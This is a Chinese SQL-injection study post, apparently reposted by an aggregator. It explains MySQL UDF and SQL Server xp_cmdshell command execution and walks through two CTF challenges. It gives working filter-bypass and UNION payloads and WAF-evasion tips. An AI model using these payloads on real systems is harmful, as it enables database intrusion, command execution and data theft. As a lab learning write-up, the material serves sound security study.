SQL学习

Posted Yable

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL学习相关的知识,希望对你有一定的参考价值。

一、命令执行,UDF(User-Defined Functions)

  mysql中,除了可以通过webshell间接执行命令外还可以通过UDF来执行命令。此功能已经集成到Sqlmap中了。

  通过lib_mysqludf_sys提供的几个函数来执行系统命令,其中的两个重要的函数:sys_eval()和sys_exec()。函数如下:

    sys_eval,执行任意命令,并将输出返回。

    sys_exec,执行任意命令,并将退出码返回。

    sys_get,获取一个环境变量。

    sys_set,创建或修改一个环境变量。

 

二、攻击存储过程:

  在SQL Server中存储过程“xp_cmdshell” 可谓是臭名昭著了,xp_cmdshell扩展存储过程讲命令字符串作为操作系统命令shell执行,并以文本的形式返回所有输出。

使用:

EXEC master.dbo.xp_cmdshell \'cmd.exe dir c:\'
EXEC master.dbo.xp_cmdshell \'ping \' 

分别为通过数据库master,利用xp_cmdshell 来执行cmd 和 ping。

 

开启方式:

1、使用sql语句开启

  通过查询分析器,选择Master数据库,然后执行以下SQL内容:

sp_configure \'show advanced options\',1
reconfigure
go
sp_configure \'xp_cmdshell\',1
reconfigure
go

 执行后结果:

  配置选项 \'show advanced options\' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。
  配置选项 \'xp_cmdshell\' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。

 注:如需关闭只需将“sp_configure \'xp_cmdshell\',1”改为“sp_configure \'xp_cmdshell\',0”即可。

2、SQL SERVER "外围应用配置器"开启:https://www.cnblogs.com/TBW-Superhero/p/6871982.html

除了xp_cmdshell外,还有一些其他的存储过程也可以利用,例如xp_regread可以操作注册表,xp_servicecontrol(允许用用户,启动、停止服务)。

3、存储过程本身也可能存在注入漏洞,加入参数由外部传入,并且没有经过任何处理,进有可能造成注入。 

 ……………………………………………………………………………………………………………………………………………………

 

下面我们来做一到题:

简单的sql注入:http://ctf5.shiyanbar.com/423/web/

 进入链接,看题目:

题目是sql注入,我们来试一下:输入一个1,看效果:

显示是正常的,在输入1\',看效果:

 

 说明\'是可以影响SQL语句的,并没有被过滤掉,继续我们来试一试id=1\' or \'\'=\',发现空格和or关键字都没有被过滤,

再来看看and关键字,令id=1\' and 1=1or \'\'=\',发现报错,讲and换成大写也不行,被过滤了。

 

来绕过,尝试(),/**/,/*!*/等方法绕过,发现/*!关键字*/的方法是可以绕过的:

 

那好了,现在可以使用关键字了,下面我们来猜测表名:

id=\' or /*!exists*/ (/*!select*/ * /*!from*/ admin)/*!and*/ \'\'=\'【id=\' or exists (select * from admin) and \'\'=\'】

 

说admin不存在,那我们换一个表名flag:id=\' or /*!exists*/ (/*!select*/ * /*!from*/ flag)/*!and*/ \'\'=\',

(也可以使用这个:id= \' /*!union*/ /*!select*/ flag /*!from*/ flag /*!where*/ \'1\'=\'1)成功了!

EXISTS表示存在量词:用于检查子查询是否至少会返回一行数据,该子查询实际上并不返回任何数据,只返回逻辑值“True”或“False”。

 

猜测列名id和name,都是存在的:

 

 

联合查询看列数:id = \' /*!union*/ /*!select*/ 1,2 /*!from*/ flag /*!where*/ \'\'=\'

构造id= \' /*!union*/ /*!select*/ flag /*!from*/ flag /*!where*/ \'\'=\' ,看效果

显示出了flag,这道题主要思路就是绕过过滤和猜测表名。

 

来看第二道题:http://ctf5.shiyanbar.com/web/index_2.php

 

有了上一题的经验,我们先检测看这个到底过滤了什么:

分别输入\'和\' 可以判断空格是被过滤了的,我们可以知道,可以使用%0a %0d %09 %0b /**/ /*!*/ /*!50000*/来代替空格,这里我们选用/**/。

然后尝试or和and关键字以及union看看是否被过滤,发现都可以正常使用,甚至#都可以正常使用,简直神奇;于是构造:

id=\'/**/and/**/0=1/**/union/**/select/**/flag/**/from/**/flag#

 

 小结:

tip1:在Mysql中构造sql注入时,where后面的单引号完全可以直接使用\'\'=\'\'来闭合,表示永真,而不一定需要\'1\'=\'1\'这种格式。

tip 2:当关键字被过滤掉的时候,可以使用/**/或者/*!*/括起来的方式来绕过检测过滤

tip 3:常用来绕过WAF或过滤函数以代替空格的字符有这些:%0a %0d %09 %0b /**/ /*!*/ /*!50000*/以及()

tip 4:在get型注入中,如果or被过滤,则可以使用|代替,如 ...where search=\'\'|\'1\';

以上是关于SQL学习的主要内容,如果未能解决你的问题,请参考以下文章

Microsoft SQL Server 代码片段收集

缺少 SQL SERVER 2014 代码片段

sql Oracle代码片段

sql 日期转换代码片段 - Dato,120,konvertere

以下代码片段是不是容易受到 Rails 5 中 SQL 注入的影响?

Discuz代码片段